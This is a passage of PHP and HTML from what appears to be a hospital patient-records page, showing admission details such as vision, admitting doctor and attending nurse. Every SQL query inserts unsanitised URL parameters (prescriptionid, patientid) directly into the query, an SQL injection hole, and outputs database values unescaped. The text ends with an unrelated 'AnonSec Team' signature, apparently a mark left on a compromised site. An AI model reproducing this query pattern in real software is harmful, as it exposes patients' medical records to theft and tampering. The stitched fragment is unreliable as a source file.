<tr><td>Vision (Without Glasses)</td><td>$rs[left_Without_Glasses]</td></tr>
    ";
				}
				?>
</table>
</div>

<?php
}
}
?>
</div>

<?php
}
}
?>
<table id='example2' class='table table-bordered table-hover'>
    	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
				{
				     	$sqldoctor= "SELECT * FROM site_users WHERE userno='$rs[Admitted_Under]'";
			$qsqldoctor = mysqli_query($con,$sqldoctor);
			while($rsdoctor = mysqli_fetch_array($qsqldoctor))
			{
			    echo"
<tr><td>Admitted Under</td><td>$rsdoctor[name]</td></tr>
";
}
}
?>
	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
				{
				    echo"
    <tr><td>Attending Nurse</td><td>$rs[Attending_Nurse]</td></tr>
    ";
				}
				?>
				</table>
			</div>


</div></div>
<?php
include("footer.php");
?>

Anon7 - 2022
AnonSec Team